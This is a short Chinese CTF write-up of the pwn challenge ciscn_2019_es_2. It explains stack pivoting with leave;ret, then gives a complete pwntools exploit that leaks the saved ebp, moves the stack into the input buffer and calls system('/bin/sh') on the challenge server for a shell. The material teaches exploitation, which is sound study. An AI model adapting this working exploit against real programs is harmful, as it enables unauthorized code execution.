pwn | ciscn_2019_es_2

pwn | ciscn_2019_es_2

x86 ret2text 栈迁移
这是我第一次做栈迁移的题目,浅浅记录一下思路
关键的利用点在于利用leave ret的组合把esp搬到低地址的地方(也就是我们输入的地方)

这题有两次输入,第一次通过溢出获取ebp地址上的值,也就是原ebp的地址
这时候先覆盖ebp地址上原ebp的值为输入的起始地址,然后让程序跳转到leave ret
关键点就在这里了
这时候第一次执行leave ret,leave:mov esp, ebp; pop ebp;
pop出来的ebp值是我们输入的起始地址
然后ret 到leave ret再次执行
第二次leave: mov esp, ebp; 就是这里,将esp也搬到了ebp的地方,也就是输入的起始地址
然后pop ebp,这时候esp指向的就是输入地址+4的位置,也就是新的返回值地址用于ret,剩下的不用多说了,就是常规操作。

exp:

from pwn import *

context.log_level = 'debug'

elf = ELF('ciscn_2019_es_2')
# p = process('ciscn_2019_es_2')
p = remote("node4.buuoj.cn", 28653)

p.recvuntil('name?')

# leak ebp
payload = 0x28 * b'M'
p.send(payload)

p.recvuntil(0x28*b'M')
ebp = u32(p.recv(4))
print(hex(ebp))

p.recv()

p_leaveret = 0x080485FD
p_system = elf.plt['system']
p_str = ebp - 0x38   # old ebp - 0x38 = input addr
p_binsh = p_str + 16
'''
ebp-0x28 -> s: xxxx


ebp    -> old ebp
ebp+4  -> old eip


leave ret


'''

payload = (b'M'*4 + p32(p_system) + b'MMMM' + p32(p_binsh) + b'/bin/sh\x00' ).ljust(0x28, b'A') +  p32(p_str) + p32(p_leaveret)
p.send(payload)



p.interactive()


posted @ 2022-12-03 23:27  Mz1  阅读(66)  评论(0编辑  收藏  举报